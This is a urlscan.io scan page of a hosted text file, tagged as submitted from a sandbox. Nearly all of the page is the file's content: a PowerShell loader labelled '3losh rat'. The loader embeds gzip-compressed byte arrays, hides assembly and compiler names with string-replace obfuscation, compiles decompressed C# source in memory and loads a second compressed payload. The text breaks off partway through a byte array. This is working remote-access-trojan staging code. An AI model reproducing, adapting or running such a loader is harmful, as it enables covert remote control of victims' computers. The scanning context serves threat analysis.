deb43e46-145f-4ebd-abfb-69a78b67bacf.usrfiles.com
Open in
urlscan Pro
34.102.176.152
Public Scan
URL:
https://deb43e46-145f-4ebd-abfb-69a78b67bacf.usrfiles.com/ugd/deb43e_1ca536be36694083825be7a38e59be83.txt
Submission Tags: falconsandbox
Submission: On November 16 via api from US — Scanned from DE
Submission Tags: falconsandbox
Submission: On November 16 via api from US — Scanned from DE
Form analysis
0 forms found in the DOMText Content
#by code 3losh rat Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.VisualBasic Add-Type -AssemblyName Microsoft.CSharp Add-Type -AssemblyName System.Management [Byte[]] $ALOSH = @(31,139,8,0,0,0,0,0,4,0,237,189,7,96,28,73,150,37,38,47,109,202,123,127,74,245,74,215,224,116,161,8,128,96,19,36,216,144,64,16,236,193,136,205,230,146,236,29,105,71,35,41,171,42,129,202,101,86,101,93,102,22,64,204,237,157,188,247,222,123,239,189,247,222,123,239,189,247,186,59,157,78,39,247,223,255,63,92,102,100,1,108,246,206,74,218,201,158,33,128,170,200,31,63,126,124,31,63,34,214,77,177,188,72,95,95,55,109,190,56,252,141,19,255,207,241,211,34,187,88,86,77,91,76,155,238,87,175,214,203,182,88,228,227,179,101,155,215,213,234,117,94,95,22,211,220,53,251,162,152,214,85,83,157,183,227,159,44,154,117,86,62,201,154,98,74,223,254,198,201,50,91,228,205,42,155,230,233,170,174,126,250,217,87,79,127,227,228,23,255,198,73,74,207,106,61,41,139,105,218,180,25,245,152,78,203,172,105,210,151,199,242,157,54,233,55,107,218,26,253,189,202,47,243,186,201,95,243,95,91,250,33,253,117,199,189,231,129,192,227,94,164,223,210,207,210,143,62,58,12,27,20,203,54,125,158,47,47,218,121,231,11,249,144,94,33,248,99,253,99,59,221,237,180,186,154,23,101,158,110,233,247,71,159,165,59,30,46,120,58,248,224,177,200,232,47,159,160,139,239,9,136,239,119,224,227,145,111,182,183,59,95,253,146,240,207,58,111,215,245,82,97,122,77,189,102,81,154,62,41,150,89,125,253,166,10,137,218,220,130,168,211,121,86,55,32,144,48,203,155,252,93,59,126,149,95,172,203,172,62,125,183,170,243,166,41,170,101,131,143,242,119,244,239,170,36,118,0,252,81,250,209,247,126,191,157,221,239,127,68,191,124,116,167,51,170,201,117,155,127,239,251,105,86,131,64,203,252,74,62,216,226,190,204,52,220,77,15,238,96,46,136,114,187,93,130,157,87,117,186,133,73,45,232,253,157,67,250,241,248,51,64,243,167,48,45,62,249,164,51,77,120,168,213,247,138,239,211,107,39,213,146,248,172,29,191,169,158,80,231,218,247,235,245,68,198,189,85,164,223,74,15,70,132,195,40,221,235,162,175,179,224,147,228,248,245,201,217,217,233,114,90,205,232,101,249,107,252,121,222,42,189,169,83,31,134,63,91,117,113,153,181,121,58,203,203,252,2,191,96,84,79,245,143,87,121,179,94,228,111,230,117,158,205,182,72,60,95,18,31,205,179,229,172,204,125,104,61,16,147,170,42,45,140,239,86,87,159,238,191,206,91,129,66,131,110,9,93,3,172,229,15,71,232,148,166,99,42,95,222,30,246,207,18,88,70,249,243,159,29,216,223,28,88,127,162,126,178,168,91,210,140,199,101,89,77,79,223,133,83,197,48,211,108,54,131,172,200,31,37,115,169,252,222,94,175,180,9,233,208,54,159,190,199,88,190,91,23,109,254,178,174,72,89,55,95,228,139,170,190,54,61,175,228,67,129,59,201,154,252,216,116,175,146,55,89,159,159,231,181,126,207,191,191,46,126,64,120,212,249,185,124,70,205,26,192,111,243,229,237,17,122,69,36,124,79,124,108,135,183,65,8,240,111,61,39,63,117,245,213,114,145,173,126,178,200,175,190,60,127,77,132,37,61,117,19,62,183,31,234,9,177,139,37,254,177,81,168,217,106,69,186,55,67,87,47,200,54,142,172,18,173,22,11,98,134,231,197,146,62,11,113,56,110,169,201,100,77,163,179,223,8,47,122,95,116,148,39,240,40,150,243,156,166,231,219,204,98,244,234,26,35,153,2,41,234,251,89,153,93,56,112,249,242,178,168,171,229,34,95,182,14,161,117,93,211,223,79,139,154,8,67,19,37,132,126,221,102,196,199,171,179,37,233,215,5,67,130,25,49,31,73,27,29,178,223,70,71,226,125,4,58,226,191,46,45,3,163,68,108,120,252,60,80,196,170,45,63,218,217,217,221,165,255,239,232,207,93,253,159,249,88,255,230,175,164,157,255,57,253,243,51,254,11,222,139,242,130,253,124,119,231,103,188,47,118,240,175,7,201,66,54,223,56,132,12,6,218,206,181,247,222,231,151,185,3,243,162,118,225,117,224,97,162,63,77,111,6,208,251,32,214,65,80,27,185,134,10,67,59,116,253,241,47,63,231,136,254,92,34,176,163,109,59,48,181,67,215,31,255,242,115,142,40,35,160,13,13,0,219,129,116,24,124,36,237,180,67,243,185,254,109,71,229,81,193,32,98,190,219,49,29,134,152,186,142,188,145,232,187,222,240,189,145,199,16,85,120,6,69,143,34,166,105,208,175,252,254,195,70,72,126,238,104,251,93,253,111,71,245,135,7,91,123,15,71,16,118,104,177,181,192,109,199,250,190,65,204,189,33,141,44,66,138,200,174,105,231,195,182,112,228,235,159,49,227,240,177,252,26,20,48,64,35,148,176,237,249,203,159,249,232,206,248,53,25,193,118,11,110,189,85,244,191,56,253,232,103,62,74,127,201,40,21,21,207,45,190,92,181,28,58,188,168,150,185,24,140,84,159,168,185,72,127,175,188,94,230,229,189,61,50,25,157,112,230,248,249,247,118,190,31,179,221,33,128,101,59,43,203,232,219,187,183,120,251,85,179,16,207,49,10,97,239,22,16,58,174,120,251,46,10,233,222,45,32,221,8,100,255,22,64,58,110,246,0,164,251,183,128,116,35,144,79,111,1,196,249,208,228,66,71,161,60,184,5,148,142,79,28,133,115,112,11,56,161,43,27,5,243,240,22,96,186,78,104,156,251,110,195,188,206,225,60,142,3,17,30,222,32,70,152,160,106,89,94,71,195,203,52,248,227,179,244,121,69,30,232,170,120,28,107,123,180,21,166,104,140,96,82,168,28,126,97,69,230,206,134,241,245,208,138,70,172,93,225,209,79,251,136,70,219,221,26,227,158,136,190,23,230,61,244,110,129,239,215,70,245,107,99,25,13,175,187,218,96,51,125,187,237,110,141,116,79,231,188,23,230,61,244,110,129,239,215,70,245,107,99,25,38,3,60,189,86,137,98,235,98,24,54,184,53,126,129,190,124,47,4,251,121,131,174,218,196,71,145,169,239,53,186,53,178,157,87,223,11,221,80,21,3,181,254,39,49,133,213,105,115,107,92,195,55,223,11,213,88,206,161,103,3,248,195,62,194,177,102,93,156,217,131,233,33,220,125,243,189,80,14,19,25,158,153,225,63,251,104,134,13,110,77,84,207,124,49,122,14,193,239,61,45,203,179,197,170,170,219,173,143,222,234,235,148,52,38,245,246,60,107,218,211,186,174,144,36,110,235,117,126,231,251,131,195,34,193,166,87,83,205,120,0,231,231,197,164,38,19,121,188,245,189,47,40,177,59,39,65,105,182,64,166,101,118,145,207,222,80,210,109,252,147,79,158,92,191,202,207,9,193,59,223,79,145,218,80,75,139,204,141,79,193,1,4,79,40,97,76,72,34,129,33,191,141,143,151,77,17,69,124,148,158,190,203,166,237,235,85,94,150,232,225,61,135,67,154,136,9,39,57,170,45,147,93,212,57,24,165,31,60,194,78,239,50,87,52,233,118,242,237,39,71,91,10,2,75,63,54,155,180,200,219,121,53,27,94,74,208,124,185,50,1,129,185,179,85,77,126,26,185,78,197,28,169,114,195,96,207,170,250,217,122,201,236,255,178,42,176,38,181,213,33,64,48,189,24,22,144,185,35,233,41,69,101,196,121,213,234,220,235,210,31,240,47,9,24,144,232,179,158,210,164,93,87,235,118,75,126,252,94,197,114,54,126,157,255,162,53,37,201,138,172,28,165,47,179,233,91,154,183,221,248,164,225,253,72,102,108,144,32,186,70,99,133,81,167,84,33,72,82,207,67,119,195,43,98,162,110,245,6,167,8,13,146,179,110,99,29,75,216,90,160,7,141,189,181,139,111,138,112,253,180,227,77,132,99,228,144,32,190,105,20,202,160,228,189,210,170,102,62,219,189,101,251,167,121,243,182,173,86,183,108,253,166,104,123,196,31,148,201,39,215,63,73,159,214,117,70,57,87,140,128,220,146,6,74,228,222,167,62,133,162,221,105,238,254,139,162,153,222,132,153,114,135,25,247,222,45,219,191,110,103,103,203,213,186,189,125,243,47,215,237,123,181,103,181,216,149,68,143,51,130,197,203,203,170,152,145,234,204,167,148,5,55,138,103,149,97,229,68,73,177,202,174,75,82,6,195,154,39,178,80,152,222,143,45,13,118,222,195,131,215,48,2,246,93,248,245,126,155,88,198,28,93,33,249,209,255,110,203,215,65,230,137,37,212,13,136,254,119,81,16,77,49,6,43,209,75,95,17,165,239,237,141,95,18,243,229,91,70,185,226,187,47,207,183,84,35,246,209,186,115,199,229,222,3,53,105,225,43,159,87,12,61,13,23,131,237,162,231,211,252,60,91,151,173,183,236,105,87,118,145,0,218,121,119,127,127,68,255,126,250,12,255,238,63,228,223,79,241,239,3,254,252,222,61,254,119,47,253,37,55,161,176,251,233,207,22,10,187,252,239,167,130,66,31,137,182,190,238,127,24,225,28,60,197,121,186,245,187,118,86,137,132,119,101,40,227,211,197,170,189,54,139,52,227,159,202,235,170,243,199,121,86,54,100,99,247,211,159,73,119,239,237,239,237,62,120,176,119,208,105,178,92,151,165,216,61,120,30,248,9,67,135,5,164,234,138,25,232,244,221,52,95,13,242,13,227,73,92,126,94,148,102,5,140,40,11,121,185,115,6,195,155,177,21,30,159,100,101,249,228,26,78,131,225,161,39,69,171,171,54,121,125,7,212,254,130,205,238,150,114,8,153,223,39,97,130,226,35,77,17,122,9,203,93,205,33,218,188,163,205,106,226,151,143,8,6,250,101,157,41,208,71,60,34,113,28,120,58,101,244,157,15,85,37,140,210,173,123,59,180,132,191,119,39,253,37,113,142,50,131,47,22,164,155,159,208,26,224,255,127,134,238,207,231,39,233,214,222,167,183,33,132,91,246,86,229,131,207,220,218,28,143,110,235,224,33,1,124,184,115,231,251,3,112,20,2,165,99,9,200,167,247,239,223,59,24,234,144,196,67,89,89,84,215,103,233,126,71,37,155,231,23,139,44,245,86,238,87,197,216,247,126,70,118,213,126,72,0,124,223,197,127,114,146,179,141,93,71,115,30,223,92,255,224,194,124,130,212,128,33,223,214,222,14,209,121,111,119,144,206,120,197,91,183,30,176,78,220,18,3,232,5,195,64,62,240,54,71,140,193,39,233,129,168,145,96,141,126,95,62,179,182,240,125,53,12,97,224,9,217,103,193,130,123,252,21,243,90,116,13,191,143,186,15,48,253,93,137,22,239,137,32,17,179,97,27,121,6,52,141,30,184,165,192,143,207,150,151,213,219,124,235,125,68,242,96,103,179,78,18,108,190,77,4,167,16,250,135,129,207,254,48,62,147,170,42,83,82,71,213,213,151,212,105,93,204,64,32,182,77,27,6,64,221,158,121,122,53,76,113,69,102,208,242,199,200,159,137,81,186,187,183,119,64,44,249,233,126,220,32,115,119,196,39,97,119,239,207,0,44,228,189,236,86,4,79,191,163,145,163,102,48,95,31,40,45,152,126,225,244,47,207,207,27,78,48,132,147,181,183,63,164,84,155,57,37,41,200,54,44,38,121,109,229,5,252,227,243,204,88,125,168,173,1,94,248,116,8,51,235,75,159,137,47,125,70,190,116,183,47,250,180,231,90,155,103,192,81,194,3,168,151,202,35,161,31,242,141,50,125,72,215,79,136,187,134,217,222,160,37,83,251,42,187,122,154,181,217,15,7,43,245,63,55,97,181,146,204,200,155,234,135,137,216,222,6,173,197,136,145,24,133,228,98,93,60,252,194,6,142,192,163,126,187,162,161,195,180,14,125,208,211,144,157,52,207,147,245,249,57,177,254,19,210,63,111,79,170,213,181,99,254,46,37,237,176,229,143,157,224,239,241,243,124,121,209,206,55,17,1,207,215,211,39,68,225,80,6,58,168,244,241,248,48,77,131,103,192,35,193,211,153,125,242,207,134,92,140,1,32,58,125,159,63,233,42,32,226,199,39,244,93,19,168,237,15,215,205,214,129,249,252,201,135,251,44,36,99,153,204,194,151,231,167,75,10,252,56,23,249,255,215,16,97,127,103,99,112,64,83,16,56,0,119,186,246,221,154,239,27,194,130,253,253,239,139,8,251,76,31,161,243,55,16,52,12,51,246,101,86,167,112,182,187,43,175,195,14,253,13,58,239,119,125,247,245,117,220,251,48,37,158,1,89,123,255,200,102,51,125,176,162,22,93,73,255,250,68,186,254,127,3,145,134,165,189,190,65,182,41,149,186,94,228,50,244,31,142,0,119,40,61,148,148,226,1,16,129,107,136,195,246,46,133,250,187,239,47,19,239,67,225,8,117,35,31,77,179,118,58,239,127,60,128,131,170,114,40,75,253,245,201,245,217,108,171,155,126,112,74,255,108,70,89,203,223,171,40,203,65,52,193,151,197,114,29,83,73,17,116,39,68,232,183,157,166,94,51,253,149,126,252,146,255,7,9,121,8,144,102,53,0,0,0) Function Decompress { [CmdletBinding()] Param ( [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)] [byte[]] $byteArray = $(Throw("-byteArray is required")) ) Process { $input = New-Object System.IO.MemoryStream( , $byteArray ) $output = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress) $gzipStream.CopyTo( $output ) $gzipStream.Close() $input.Close() [byte[]] $byteOutArray = $output.ToArray() return $byteOutArray } } function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) { $dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]' $hello = "Com<><><><><><><".Replace("<><><><><><><","pilerVersion") $v4 = "v4.0" $dictionary.Add($hello, $v4) $CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary) $CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters $v1 = "Sys@@@".Replace("@@@","tem.dll") $CompilerParametres.ReferencedAssemblies.Add($v1) $CompilerParametres.ReferencedAssemblies.Add("System.!@!$^^%^%**&*&*$$%$%$".Replace("!@!$^^%^%**&*&*$$%$%$","Management.dll")) $CompilerParametres.ReferencedAssemblies.Add("System.Windows.Forms.dll") $CompilerParametres.ReferencedAssemblies.Add("mscorlib.dll") $CompilerParametres.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll") $CompilerParametres.IncludeDebugInformation = $false $CompilerParametres.GenerateExecutable = $false $CompilerParametres.GenerateInMemory = $true $CompilerParametres.CompilerOptions += "/platform:X86 /unsafe /target:library" $BB = Decompress($BB) [System.CodeDom.Compiler.CompilerResults] $CompilerResults = $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres, [System.Text.Encoding]::Default.GetString($BB)) [Type] $T = $CompilerResults.CompiledAssembly.GetType($TP) [Byte[]] $Bytes = Decompress(@(31,139,8,0,0,0,0,0,4,0,228,189,127,124,83,213,249,56,126,211,220,182,23,26,72,148,20,139,84,45,180,186,42,136,213,128,194,138,218,82,82,170,144,146,82,154,80,161,160,162,88,163,83,132,164,117,211,34,53,13,112,57,222,137,78,156,110,58,113,226,116,194,222,99,27,10,56,166,73,195,154,66,107,91,144,97,145,78,235,222,168,167,107,197,32,21,2,196,222,239,243,156,115,147,166,128,126,182,247,191,95,94,52,247,220,115,159,243,156,231,60,207,115,158,231,57,63,238,185,182,59,54,8,122,65,16,68,248,83,85,65,216,41,240,127,5,194,127,240,79,39,8,35,175,120,119,164,176,125,216,7,227,118,234,230,124,48,110,126,245,253,43,179,150,175,120,248,190,21,119,253,36,107,233,93,15,61,244,176,59,235,238,123,179,86,120,30,202,186,255,161,172,153,115,203,179,126,242,240,61,247,78,26,49,98,120,142,134,226,103,85,209,127,220,50,253,217,53,177,191,239,44,31,172,185,21,174,55,205,28,205,174,223,89,218,215,76,135,235,152,51,42,187,31,115,38,186,230,102,184,230,231,189,172,193,93,180,230,199,236,170,91,51,142,225,248,197,154,195,112,253,67,197,175,215,150,178,235,79,24,220,31,42,54,172,197,235,188,251,151,86,99,61,177,38,216,173,130,48,71,151,34,188,116,246,182,37,177,188,110,33,73,151,166,27,105,18,242,160,129,31,143,98,121,255,90,4,63,38,100,140,142,115,7,211,73,130,144,140,76,16,6,175,66,65,58,103,38,123,92,224,99,128,8,27,191,198,47,236,95,102,173,78,200,192,162,97,179,176,124,226,5,120,156,149,46,188,105,20,132,77,30,157,144,249,159,200,36,246,15,232,92,174,255,254,199,147,220,247,62,234,134,235,150,73,58,78,16,182,85,60,167,106,65,184,115,210,138,123,238,114,223,37,8,109,183,113,156,194,237,112,157,172,27,90,21,252,159,196,193,132,78,59,240,107,3,60,79,129,155,85,231,193,249,39,173,88,185,98,41,164,89,91,161,205,194,36,184,54,92,0,223,138,123,31,124,24,0,177,237,200,3,70,227,159,207,131,155,49,233,238,149,43,217,13,107,67,58,147,137,208,120,62,190,239,231,196,255,191,255,85,144,62,111,157,73,240,136,22,127,85,144,216,12,196,42,169,54,147,123,248,122,211,143,47,242,136,5,133,189,199,141,239,8,198,119,134,77,8,84,5,53,88,98,147,28,228,184,251,98,82,97,88,159,4,192,235,116,133,51,24,142,227,164,105,49,32,153,147,99,240,237,117,95,181,126,102,142,84,190,190,115,253,89,178,223,73,30,207,49,4,122,146,72,48,208,109,90,70,130,39,182,144,125,222,207,244,39,222,90,178,144,204,204,17,131,170,59,71,116,9,106,250,83,133,133,130,93,77,111,134,203,185,121,79,21,64,30,2,191,182,122,35,164,94,197,223,251,253,223,21,233,133,228,224,111,174,18,88,110,128,154,174,84,159,16,56,92,57,89,148,99,88,230,205,23,156,36,226,182,26,119,72,203,128,168,124,227,142,253,19,130,203,124,7,128,72,147,123,172,113,199,69,144,118,95,99,220,145,41,25,119,28,152,240,177,71,42,44,92,54,45,83,242,124,190,204,59,77,112,95,52,107,150,113,199,37,5,5,0,228,217,103,241,47,89,24,36,161,222,211,136,125,189,84,208,176,215,115,122,2,36,75,130,100,126,142,232,32,238,28,131,179,55,165,97,175,123,228,140,226,245,35,141,239,36,25,223,57,61,33,228,62,230,243,47,89,92,39,122,155,213,224,42,189,197,95,128,252,17,161,132,180,62,9,25,215,224,247,156,100,60,104,229,255,110,70,69,94,57,242,84,167,126,143,215,47,250,132,231,136,96,15,150,41,115,114,164,250,30,124,116,45,254,248,116,28,172,111,66,51,217,227,211,145,207,136,68,10,68,123,144,140,200,236,158,47,228,143,184,231,200,124,97,229,168,87,143,118,204,23,66,226,186,210,91,10,133,66,153,61,10,82,243,197,58,97,87,37,228,244,180,207,22,4,58,237,106,184,93,138,183,126,188,253,233,14,65,216,85,141,183,127,194,219,181,107,225,246,39,120,251,91,188,253,240,32,220,174,192,219,95,192,237,133,43,171,77,172,108,93,0,10,60,139,5,238,134,2,101,187,214,65,46,29,31,134,204,95,98,166,237,123,177,188,154,128,37,164,43,40,46,20,72,160,81,20,94,221,240,124,161,224,243,123,50,93,25,149,116,227,28,96,132,223,61,140,52,211,207,239,17,132,222,36,139,255,53,124,142,106,90,238,112,146,227,22,213,149,188,64,46,54,200,197,162,188,74,162,197,96,25,72,149,52,237,49,169,102,172,183,207,68,90,200,30,167,157,214,97,110,27,205,5,139,49,43,255,49,105,197,231,75,64,137,23,86,65,101,223,131,230,127,244,137,104,12,26,154,127,235,25,154,135,146,254,83,52,167,197,68,52,25,26,154,188,100,134,230,159,250,255,20,141,37,229,66,212,184,82,24,154,236,228,243,208,64,199,37,165,18,221,2,86,220,187,76,18,72,169,72,95,97,105,81,32,35,233,115,152,188,74,88,28,212,192,26,18,192,30,213,192,22,51,51,208,103,66,106,78,147,90,41,191,86,52,62,249,39,176,36,197,150,35,198,63,214,26,92,166,74,210,36,123,194,167,62,51,110,8,90,246,158,58,146,214,233,13,138,198,103,3,167,14,167,181,208,238,219,153,208,46,87,22,136,114,158,197,47,87,69,72,27,249,208,119,210,61,74,78,82,230,153,188,61,58,207,201,222,84,139,159,116,202,214,200,180,89,82,205,44,87,100,129,50,91,154,16,148,109,81,203,17,217,218,175,76,150,188,129,136,254,38,7,125,244,10,104,165,45,90,68,128,21,133,81,82,44,201,58,2,140,41,20,189,1,19,177,246,67,129,252,37,210,138,118,2,117,120,194,196,8,221,63,165,140,110,7,158,200,87,200,181,98,111,18,185,2,200,87,172,82,224,11,81,127,194,14,252,250,17,34,180,34,107,137,213,36,23,75,196,106,6,78,131,185,83,103,73,244,81,112,128,75,22,47,220,219,104,18,88,211,45,71,176,165,181,34,105,186,112,75,79,222,198,90,154,33,231,65,63,38,205,208,68,163,119,156,160,220,102,242,30,211,121,190,69,109,149,83,1,31,114,19,184,237,36,117,134,252,85,18,20,166,35,102,9,66,224,75,81,127,11,241,72,164,205,73,215,102,1,85,115,161,30,185,84,36,115,37,185,84,34,115,13,75,228,82,195,226,170,70,73,184,128,48,14,36,8,195,240,67,194,40,231,36,142,79,16,198,33,160,115,12,240,27,24,42,235,148,219,12,222,127,235,60,39,254,159,2,209,223,68,82,228,194,136,82,44,218,189,129,40,253,244,50,38,24,165,88,178,211,15,47,211,132,100,237,247,6,12,154,76,90,81,38,40,144,44,242,72,244,129,38,131,62,0,213,154,73,167,183,23,52,152,62,241,157,170,34,147,142,35,148,53,12,210,154,197,164,245,64,173,132,238,73,22,47,87,74,69,197,106,208,183,216,169,27,208,43,86,147,82,42,217,245,45,116,25,220,129,172,20,155,68,127,12,72,152,184,12,113,113,25,126,72,92,179,74,24,47,46,147,243,148,18,17,168,25,173,20,74,222,59,163,130,55,75,80,10,12,140,28,144,217,94,217,24,151,153,199,0,104,243,107,153,204,42,33,138,124,224,164,1,248,80,39,145,20,32,175,76,153,43,202,169,180,229,114,32,175,84,130,59,137,190,15,105,18,90,242,125,82,75,236,66,25,63,36,181,151,103,253,80,23,202,184,80,23,10,131,196,76,231,116,161,48,118,161,41,153,177,46,4,18,143,176,222,3,29,201,36,235,188,129,140,239,237,66,191,73,74,232,66,32,148,12,232,67,118,253,9,232,64,95,140,197,14,148,208,117,172,25,114,177,73,235,64,55,21,107,29,40,35,46,145,140,31,146,200,219,197,23,238,64,25,231,119,160,242,161,210,104,41,2,105,124,146,193,250,143,254,138,114,106,69,29,156,45,97,15,146,200,108,3,116,29,50,219,4,61,200,132,54,241,130,194,216,242,159,118,33,83,241,15,9,195,112,190,48,10,191,223,158,189,121,233,121,246,12,186,204,160,24,254,49,84,12,51,116,67,197,96,136,139,97,201,165,231,216,49,46,128,119,102,106,2,248,15,187,196,100,235,133,5,96,248,127,10,224,246,25,40,0,67,92,0,123,80,47,102,107,38,108,182,4,172,151,56,235,203,29,74,101,212,73,242,201,41,52,194,199,125,42,84,113,204,4,77,152,127,26,108,192,215,208,233,150,44,38,193,133,224,184,206,135,188,88,169,9,131,207,234,46,98,62,11,129,143,157,11,252,192,169,140,24,40,5,208,183,127,16,212,16,3,237,7,208,245,23,0,5,51,77,21,236,48,77,139,181,59,221,101,137,119,151,196,239,66,186,112,44,100,9,233,34,177,36,194,252,49,1,70,154,149,240,224,226,203,7,31,100,204,138,23,206,26,76,230,14,38,243,6,147,83,7,147,5,131,201,146,68,212,155,175,136,161,214,130,136,211,244,177,168,170,66,216,96,57,57,109,229,96,252,225,176,211,109,152,223,78,171,206,170,106,113,254,74,8,28,208,96,197,2,7,122,67,86,66,115,33,38,8,165,220,9,245,208,197,51,6,73,175,30,164,97,249,96,242,209,193,228,234,193,228,186,193,228,134,68,122,103,143,27,196,183,137,61,8,21,138,111,66,2,114,188,61,98,207,23,170,170,34,220,164,241,49,56,204,253,55,228,134,116,205,49,120,255,249,240,127,31,63,136,183,51,177,194,146,236,193,7,52,241,193,39,57,137,242,21,174,74,188,11,15,185,235,248,81,226,93,75,110,226,221,228,107,6,209,103,149,12,162,39,165,6,58,190,16,163,42,3,6,95,151,20,14,6,95,244,139,9,137,24,30,154,56,136,97,106,2,6,186,245,218,4,209,150,149,131,72,89,44,161,151,193,7,73,164,72,4,19,160,20,129,23,190,251,98,240,67,143,153,156,74,169,137,222,148,1,101,102,137,74,105,166,92,108,38,69,96,161,51,148,162,76,59,189,2,243,139,178,148,210,28,185,56,75,41,202,177,211,17,144,163,20,229,218,149,210,92,170,99,79,39,42,165,121,114,241,68,165,40,207,78,191,190,4,115,38,43,165,37,114,241,100,82,52,85,46,158,74,138,166,203,197,211,73,81,129,92,92,64,138,102,202,197,51,149,162,18,59,61,122,17,24,30,140,64,247,198,58,28,177,56,31,24,200,243,134,114,193,168,92,164,63,237,253,58,15,180,238,13,0,99,142,54,214,225,176,77,101,36,224,112,202,214,40,177,75,249,118,113,197,178,114,101,133,14,13,243,242,152,97,142,92,216,120,213,22,8,130,229,0,152,175,84,230,209,193,70,238,35,214,232,52,187,84,147,65,62,38,121,202,244,52,253,137,25,222,160,225,245,215,95,207,183,75,43,190,34,158,8,84,33,75,242,114,113,33,0,75,15,156,49,40,30,73,127,26,158,171,5,210,146,197,104,53,81,102,41,222,169,130,123,212,234,85,162,224,30,161,230,81,199,113,232,48,41,149,16,37,44,214,34,57,12,130,44,126,187,234,49,168,30,201,14,35,215,77,48,114,133,192,33,197,231,95,108,220,24,32,1,180,123,0,231,189,69,112,95,12,3,220,27,213,244,151,0,2,175,134,25,133,92,3,120,124,33,57,29,208,85,215,141,6,33,0,78,8,40,232,227,44,45,217,49,156,88,14,105,116,216,179,12,60,168,208,216,85,206,20,96,149,148,191,10,220,152,2,110,108,22,114,107,21,11,203,67,114,221,247,112,235,182,91,153,169,31,39,79,5,71,70,218,73,208,162,250,246,214,140,134,219,2,147,252,104,191,252,104,4,61,89,184,87,180,168,228,211,105,171,164,154,44,210,46,215,69,73,138,62,128,81,216,51,2,243,92,179,32,240,70,95,181,10,13,199,72,238,165,46,61,3,12,178,70,228,203,65,21,129,175,151,195,176,2,67,238,207,68,140,215,42,161,156,90,204,226,181,165,39,180,120,205,244,125,67,157,187,133,11,141,223,54,9,108,168,35,64,31,63,127,196,20,103,162,109,212,32,19,11,71,13,50,113,202,168,115,153,248,31,197,246,151,222,194,216,117,5,83,45,130,193,235,104,203,1,217,132,204,178,247,203,246,8,106,113,248,7,194,197,107,242,145,95,108,224,1,126,127,228,0,178,72,138,71,134,92,57,60,201,22,127,65,111,6,40,17,170,70,110,33,27,248,166,142,75,25,7,124,252,220,226,143,73,28,6,125,76,228,208,17,98,82,127,38,65,234,34,147,122,255,247,196,255,55,179,102,140,98,82,7,223,103,32,237,16,169,156,61,177,5,72,63,98,81,81,206,151,144,20,210,30,248,44,137,203,57,229,98,28,80,130,120,123,72,10,170,11,121,52,170,136,59,161,228,37,36,172,212,68,193,136,205,155,62,232,55,177,75,65,240,18,147,60,134,39,16,212,40,6,47,125,239,34,214,126,16,61,29,55,93,11,74,208,182,25,126,162,217,54,214,48,115,57,57,12,125,191,170,159,172,148,242,87,66,195,222,195,168,204,248,199,149,6,144,79,30,235,252,125,23,110,216,207,166,179,134,93,9,210,97,81,153,45,140,22,100,0,228,148,169,148,229,98,100,150,39,207,56,136,68,158,232,29,14,207,225,97,179,108,13,147,170,254,105,69,82,205,76,2,224,17,178,95,182,245,19,61,57,163,111,114,13,175,36,97,175,63,247,196,235,118,229,246,92,186,40,13,195,171,40,52,175,128,84,244,123,155,242,188,141,121,128,2,36,32,87,244,231,23,73,43,246,18,79,31,73,227,250,63,2,92,41,129,250,211,228,149,200,133,180,7,138,164,60,48,44,174,225,250,64,37,137,156,120,93,177,229,149,41,37,185,52,21,144,170,69,208,21,242,232,43,6,141,37,121,194,121,154,19,158,202,56,247,64,83,158,62,213,78,167,126,137,148,12,106,206,15,120,128,55,134,15,122,128,91,77,23,246,0,63,50,157,235,1,210,77,131,30,96,152,233,92,15,112,202,248,159,122,128,171,135,39,120,0,116,92,47,125,151,224,184,24,197,165,82,126,169,184,226,214,114,165,82,103,217,107,252,227,98,208,221,59,72,240,212,191,140,27,80,166,205,244,119,63,70,131,78,34,211,28,82,205,72,50,146,136,207,200,226,47,103,228,59,164,21,223,64,89,121,177,40,223,130,134,251,22,54,66,124,26,84,139,247,103,180,217,163,125,7,220,195,72,210,60,213,46,197,29,236,142,225,186,4,7,91,154,150,120,151,62,34,241,46,52,228,206,63,82,23,119,197,153,158,120,0,147,227,25,244,202,78,139,10,188,151,111,145,87,137,244,161,78,8,210,87,153,64,87,87,153,151,176,154,189,171,76,130,123,152,90,99,226,246,30,131,128,203,166,161,13,91,220,243,59,224,82,72,55,113,16,235,100,207,96,127,128,118,17,129,8,114,161,88,197,163,61,8,43,131,222,219,68,21,194,29,126,195,173,1,153,33,42,182,254,242,245,119,72,14,80,74,101,134,1,140,228,82,64,140,189,241,16,177,245,211,231,35,112,3,233,234,77,24,152,182,211,3,120,127,168,146,180,171,158,104,195,17,119,42,253,120,190,32,244,38,211,125,229,130,80,89,141,51,231,14,167,154,158,1,180,2,94,154,52,156,43,103,144,121,27,197,26,13,89,163,216,120,59,253,39,4,61,60,219,1,113,229,10,209,243,35,101,6,88,89,91,148,254,29,244,196,149,236,112,64,5,213,235,160,82,135,154,94,141,77,135,71,227,65,159,23,107,200,176,133,251,28,100,185,136,150,66,177,70,236,180,117,10,144,214,76,183,142,4,26,192,217,174,8,49,229,167,95,221,132,215,8,253,252,38,86,152,55,60,15,138,163,241,6,255,117,92,65,76,128,162,223,78,101,142,226,254,145,88,164,159,254,25,138,160,73,77,207,44,2,95,27,81,61,83,189,247,70,4,165,238,160,75,170,180,248,79,108,129,106,67,214,46,92,62,128,226,7,67,214,110,92,198,176,187,120,153,44,40,3,190,140,20,100,224,108,107,185,163,140,190,49,90,199,40,90,120,147,198,149,224,174,234,35,243,133,158,182,45,66,220,29,31,102,89,78,114,134,238,220,194,186,171,207,15,149,149,41,203,69,227,204,227,101,164,181,250,57,148,195,141,244,122,232,246,142,178,249,64,1,105,183,211,253,147,25,221,127,26,33,8,229,52,184,133,55,184,255,70,173,154,178,178,121,101,52,127,55,8,40,88,70,191,91,46,8,193,50,151,80,70,167,61,130,57,131,227,217,195,138,45,226,186,244,14,250,100,59,8,96,248,29,40,191,191,64,45,213,13,197,40,204,8,9,211,251,176,82,168,231,154,52,206,159,103,161,6,82,7,102,168,223,27,18,157,52,109,36,78,175,160,20,251,233,215,6,100,10,80,49,48,156,139,97,217,141,172,140,247,94,73,160,119,220,2